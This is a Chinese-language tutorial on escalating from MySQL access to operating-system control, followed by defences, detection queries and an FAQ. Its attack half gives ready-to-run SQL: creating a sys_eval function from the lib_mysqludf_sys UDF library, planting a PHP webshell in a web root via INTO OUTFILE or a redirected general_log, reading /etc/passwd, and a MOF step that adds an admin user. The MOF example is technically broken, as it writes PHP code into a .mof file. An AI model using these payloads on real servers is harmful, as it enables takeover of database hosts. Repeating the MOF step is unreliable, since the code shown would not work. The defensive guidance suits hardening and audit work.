MySQL命令提权是指通过执行特定的MySQL命令或利用数据库的权限配置漏洞,获取操作系统更高权限的过程,这种提权通常发生在攻击者已经获得MySQL数据库的某种访问权限(如低权限用户)的情况下,通过数据库与操作系统的交互机制,提升至系统管理员权限,以下从原理、方法、防御措施等方面详细分析MySQL命令提权。

MySQL命令提权的原理
MySQL与操作系统的交互主要通过特定函数实现,如LOAD_FILE()、SELECT ... INTO OUTFILE以及自定义函数(UDF)等,这些函数在默认配置下可能被滥用,导致执行系统命令。
- UDF提权:用户自定义函数(UDF)允许MySQL调用动态链接库(.dll或.so文件)中的函数,攻击者可上传恶意UDF库,通过
CREATE FUNCTION加载后执行系统命令。 LOAD_FILE()与路径遍历:LOAD_FILE()可读取文件内容,若结合MySQL配置错误(如secure_file_priv设置不当),可能读取敏感文件(如/etc/passwd)或写入恶意文件。SELECT ... INTO OUTFILE写Webshell:若MySQL有文件写入权限,可将PHP/ASP代码写入Web目录,获取Webshell。
常见提权方法及步骤
UDF提权(Windows/Linux)
前提条件:
- MySQL版本:5.1.0以上(Windows)、5.0.0以上(Linux)。
- 权限:需
mysql库的insert、delete、create权限,且plugin目录可写。
步骤:
- 上传恶意UDF库:
- Windows:上传
lib_mysqludf_sys.dll到MySQL的plugin目录(如C:\Program Files\MySQL\MySQL Server 5.7\lib\plugin)。 - Linux:上传
lib_mysqludf_sys.so到/usr/lib/mysql/plugin/或/lib/mysql/plugin/。
- Windows:上传
- 创建恶意函数:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';
- 执行系统命令:
SELECT sys_eval('whoami');
secure_file_priv配置利用
secure_file_priv参数限制LOAD_FILE()和INTO OUTFILE的文件操作范围,若配置为空(secure_file_priv=""),则可操作任意目录。

示例:
- 写入Webshell:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/xampp/htdocs/shell.php';
- 读取敏感文件:
SELECT LOAD_FILE('/etc/passwd');
日志文件提权
若开启MySQL日志(如general_log),可将日志文件路径设置为Web目录,并写入恶意命令。
步骤:
SET global general_log = 'ON'; SET global general_log_file = 'C:/xampp/htdocs/shell.php'; SELECT '<?php system($_GET["cmd"]); ?>';
Mof提权(仅Windows)
通过SELECT ... INTO DUMPFILE写入c:\windows\system32\wbem\mof\ntevent.mof,触发系统执行。
示例:
SELECT '<?php system("net user admin admin123 /add"); ?>' INTO DUMPFILE 'c:\windows\system32\wbem\mof\ntevent.mof';
防御措施
限制MySQL权限
- 禁止低权限用户使用
FILE、SUPER、EXECUTE等高危权限。 - 使用
GRANT最小权限原则,仅分配必要权限。
配置secure_file_priv
在my.ini(Windows)或my.cnf(Linux)中设置:
[mysqld] secure_file_priv = "D:/mysql_files"
限制文件操作目录。
关闭日志写入
禁用general_log和slow_query_log,或将其路径设置为非Web目录。
系统加固
- 定期更新MySQL版本,修复已知漏洞。
- 使用防火墙限制MySQL端口(如3306)的访问来源。
- 运行MySQL以低权限用户(如
mysql)启动,避免使用root。
文件系统权限
- 限制MySQL用户对
plugin目录和Web目录的写权限。 - 在Linux中设置
/usr/lib/mysql/plugin目录为root:root,权限755。
提权检测方法
- 检查高危权限:
SHOW GRANTS FOR 'user'@'localhost';
查看是否包含
GRANT ALL、SUPER等权限。 - 检查
secure_file_priv:SELECT @@secure_file_priv;
若返回空,则存在风险。
- 扫描可疑文件:
检查
plugin目录下是否存在非官方UDF库(如lib_mysqludf_sys.dll)。
相关问答FAQs
Q1: 如何判断MySQL是否具备UDF提权条件?
A1: 需满足以下条件:
- MySQL版本在5.1.0以上(Windows)或5.0.0以上(Linux)。
- 用户拥有
mysql库的insert、delete、create权限。 - MySQL用户对
plugin目录有写权限(可通过SHOW VARIABLES LIKE 'plugin_dir'查看路径,并检查文件系统权限)。
Q2: 如果secure_file_priv被设置为非空目录,是否完全无法提权?
A2: 不一定,若secure_file_priv指向的目录可被Web服务访问(如D:/mysql_files),攻击者仍可通过INTO OUTFILE写入Webshell,此时需结合其他漏洞(如文件包含)利用,最佳实践是将其设置为不可访问的目录(如D:/data/mysql_files)或禁用文件写入功能。
